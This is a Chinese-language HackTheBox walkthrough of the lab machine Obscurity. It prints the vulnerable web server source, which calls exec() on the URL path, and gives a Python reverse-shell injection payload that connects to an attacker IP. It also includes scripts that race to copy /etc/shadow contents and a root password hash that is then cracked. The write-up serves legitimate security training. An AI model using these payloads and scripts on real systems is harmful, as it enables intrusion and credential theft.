HacktheBox—Obscurity
-
获得内网ip地址
-
对靶机信息进行探测
# Nmap 7.70 scan initiated Tue Dec 10 19:13:17 2019 as: nmap -sC -sV -oA Obscurity 10.10.10.168 Nmap scan report for 10.10.10.168 Host is up (0.29s latency). Not shown: 996 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA) | 256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA) |_ 256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519) 80/tcp closed http 8080/tcp open http-proxy BadHTTPServer 9000/tcp closed cslistener 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Dec 10 19:14:24 2019 -- 1 IP address (1 host up) scanned in 66.94 seconds
-
发现开放了8080端口和22端口,打开页面查看
Message to server devs: the current source code for the web server is in 'SuperSecureServer.py' in the secret development directory
的提示,这里就需要使用工具对网站进行fuzz测试,这里可以使用burp的intruder,推荐一个软件ffuf,安装之后对SuperSecureServer.py文件所在的目录进行爆破探测,很快就能发现这个秘密的目录了。 -
打开着这个文件发现python编写的后端文件,使用sokcet接受数据,分析url中的文件路径如果存在就显示该文件,发现一个exec()危险函数
-
可以在本地运行该脚本,但是需要更改一下脚本。在本地31338端口接受请求对url进行解析。
import socket import threading from datetime import datetime import sys import os import mimetypes import urllib.parse import subprocess import logging log = logging.getLogger(__name__) out_hdlr = logging.StreamHandler(sys.stdout) out_hdlr.setFormatter(logging.Formatter('%(asctime)s %(message)s')) out_hdlr.setLevel(logging.INFO) log.addHandler(out_hdlr) log.setLevel(logging.INFO) DOC_ROOT = "DocRoot" CODES = {"200": "OK", "304": "NOT MODIFIED", "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", "500": "INTERNAL SERVER ERROR"} MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"} class Request: def __init__(self, request): self.good = True try: log.info("Clear request:") log.info(request) request = self.parseRequest(request) log.info("after parse:") self.method = request["method"] self.doc = request["doc"] self.vers = request["vers"] self.header = request["header"] self.body = request["body"] log.info(request) except: self.good = False def parseRequest(self, request): req = request.strip("\r").split("\n") log.info("r0:") log.info(req[0]) method,doc,vers = req[0].split(" ") header = req[1:-3] body = req[-1] headerDict = {} for param in header: pos = param.find(": ") key, val = param[:pos], param[pos+2:] headerDict.update({key: val}) return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body} def listenToClient(client, address): size = 1024 while True: try: data = client.recv(size) if data: # Set the response to echo back the recieved data req = Request(data.decode()) handleRequest(req, client, address) client.shutdown() client.close() else: raise error('Client disconnected') except: client.close() return False def handleRequest(request, conn, address): if request.good: # try: # print(str(request.method) + " " + str(request.doc), end=' ') # print("from {0}".format(address[0])) # except Exception as e: # print(e) log.info("Request is GOOD") document = serveDoc(request.doc, DOC_ROOT) statusNum=document["status"] else: log.info("Request is BAD") document = serveDoc("/errors/400.html", DOC_ROOT) statusNum="400" body = document["body"] statusCode=CODES[statusNum] dateSent = "" server = "BadHTTPServer" modified = "" length = len(body) contentType = document["mime"] # Try and identify MIME type from string connectionType = "Closed" resp = Response( statusNum=statusNum, statusCode=statusCode, dateSent = dateSent, server = server, modified = modified, length = length, contentType = contentType, connectionType = connectionType, body = body ) data = resp.stringResponse() if not data: return -1 conn.send(data.encode()) return 0 def serveDoc(path, docRoot): path = urllib.parse.unquote(path) log.info("path after urllib:") log.info(path) try: info = "output = 'Document: {}'" # Keep the output for later debug exec(info.format(path)) # This is how you do string formatting, right? cwd = os.path.dirname(os.path.realpath(__file__)) docRoot = os.path.join(cwd, docRoot) if path == "/": path = "/index.html" requested = os.path.join(docRoot, path[1:]) if os.path.isfile(requested): mime = mimetypes.guess_type(requested) mime = (mime if mime[0] != None else "text/html") mime = MIMES[requested.split(".")[-1]] try: with open(requested, "r") as f: data = f.read() except: with open(requested, "rb") as f: data = f.read() status = "200" else: errorPage = os.path.join(docRoot, "errors", "404.html") mime = "text/html" with open(errorPage, "r") as f: data = f.read().format(path) status = "404" except Exception as e: print(e) errorPage = os.path.join(docRoot, "errors", "500.html") mime = "text/html" with open(errorPage, "r") as f: data = f.read() status = "500" return {"body": data, "mime": mime, "status": status} log.info("Start") host = '127.0.0.1' port = 31338 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((host, port)) log.info("binded") sock.listen(5) log.info("listen") while True: client, address = sock.accept() client.settimeout(60) threading.Thread(target = listenToClient,args = (client,address)).start()
-
测试网址
http://127.0.0.1:31338/payload';print%20('success');'
exec命令执行了,2019-12-14 14:12:21,420 Request is GOOD 2019-12-14 14:12:21,420 path after urllib: 2019-12-14 14:12:21,420 /payload';print ('success');' success
-
这时就可以执行Python的反弹shell,payload:
http://127.0.0.1:31338/payload';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.104',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);'
拿到www-data的权限 -
使用
python3 -c "import pty;pty.spawn('/bin/bash')"
优shell,该靶机没有python2,直接使用python3 -
在/home下发现几个文件
check.txt,out.txt,SuperSecureCrypt.py
.check文件中说out.txt是利用SuperSecureCrypt文件加key加密之后生成的,我们需要解密出key值。 -
加密方式是读取未加密文件的字符串中的单个字符转化为acsii码对应的数字与key中读取单个字符ascii码的数字相加再转换为ascii码。解密就是相减,这个就等于一个加减法公式
check.txt+key=out.txt
key值就可以利用out.txt -check.txt=key
解密.在靶机上利用python3 SuperSecureCrypt.py -i out.txt -o /home/key.txt -k "$(cat check.txt)" -d
得到key值在利用passwordreminder.txt解密得到密码 -
最后key值得到为
alexandrovich
得到一个秘钥为SecThruObsFTW
尝试使用robert用户ssh登录 -
在home目录下存在有一个BetterSSH文件里面存在一个py代码,用户可以使用sudo权限查看代码发现脚本读取/etc/shadow文件并会写在/tmp/SSH文件下但是马上就会删除,这时候就可以编写一个脚本再极短的时间内不停读取/tmp/ssh目录下的文件内容
-
提供两个代码pyhton和shell
import os import shutil while True: for item in os.listdir("/tmp/SSH"): s = os.path.join("/tmp/SSH", item) d = os.path.join("/tmp/shadow", item) if os.path.isdir(s): shutil.copytree(s, d, symlinks, ignore) else: shutil.copy2(s, d)
#!/bin/bash while sleep 0.1; do cat /tmp/SSH/* 2>/dev/null; done
-
执行BetterSSH.py同时执行复制或者读取脚本获得ssh的hash值,使用john破解
root:$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1:18226:0:99999:7:::
-
该靶机测试发现不允许root用户使用ssh远程登录,使用先登录robert用户使用su提升权限(写文档的时候靶机老是重启ssh连接之后非常非常卡就不贴图了)